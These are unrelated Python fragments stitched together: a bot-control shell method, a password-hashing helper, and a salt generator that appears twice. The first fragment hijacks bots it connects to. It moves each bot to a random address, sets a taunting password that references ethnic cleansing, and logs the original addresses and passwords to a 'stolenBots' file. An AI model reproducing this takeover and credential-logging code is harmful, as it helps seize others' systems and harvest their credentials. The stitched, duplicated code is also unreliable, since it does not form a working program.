def __botConnectionMade(self, protocol):
self.transport.write("Connected to Bot at %s\n" % self.__botAddress)
self.protocol = protocol
self.prompt = "[%s::%d] >>" % (self.__botAddress, self.__connectPort)
# Check if this is a stolen bot
if ".66432.13056." not in self.__botAddress:
randaddress = "%s.66432.13056.%s" % (sr().getrandbits(22),
sr().getrandbits(22))
randpw = "~EthnicClensiStanWazHere~UrBotWazBelongToUs@%s~Thanks~%s" % (
time(), sr().getrandbits(256))
self.reprogram(None, "ADDRESS", randaddress)
# Save stolen bot info to new file
with open("stolenBots.py.data", "a") as f:
f.write(
"--origAddr=%s --origPass=%s --destAddr=%s --newPass=%s --timestamp=%s\n"
% (self.__botAddress, self.password, randaddress, randpw,
time()))
f.flush()
# Connect to moved bot and change password
bprotocol = ReprogrammingShellProtocol(randaddress)
bprotocol.password = self.password
bprotocol.toPassword = randpw
stdio.StandardIO(bprotocol)
else: # This is a stolen bot
self.reprogram(None, "PASSWORD", self.toPassword)
def crypt_password(password):
"""Crypt a password.
Process a password with appropriate salted one-way algorithm.
:param str password: password to be crypted
:returns: crypted representation of the original password
:rtype: str
"""
# yescrypt is not supported by Python's crypt module,
# so we need to generate the setting ourselves
b64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
setting = "$y$j9T$" + "".join(sr().choice(b64) for _sc in range(24))
# and try to compute the password hash using our yescrypt setting
try:
cryptpw = crypt.crypt(password, setting)
# Fallback to sha512crypt, if yescrypt is not supported
except OSError:
log.info("yescrypt is not supported, falling back to sha512crypt")
try:
cryptpw = crypt.crypt(password, crypt.METHOD_SHA512)
except OSError as exc:
raise RuntimeError(
_("Unable to encrypt password: unsupported "
"algorithm {}").format(crypt.METHOD_SHA512)) from exc
return cryptpw
def getsalt(randombits=64):
if randombits<16 : raise ValueError("randombits < 16")
return "%016x"%sr().getrandbits(randombits)
def getsalt(randombits=64):
if randombits < 16:
raise ValueError("randombits < 16")
return "%016x" % sr().getrandbits(randombits)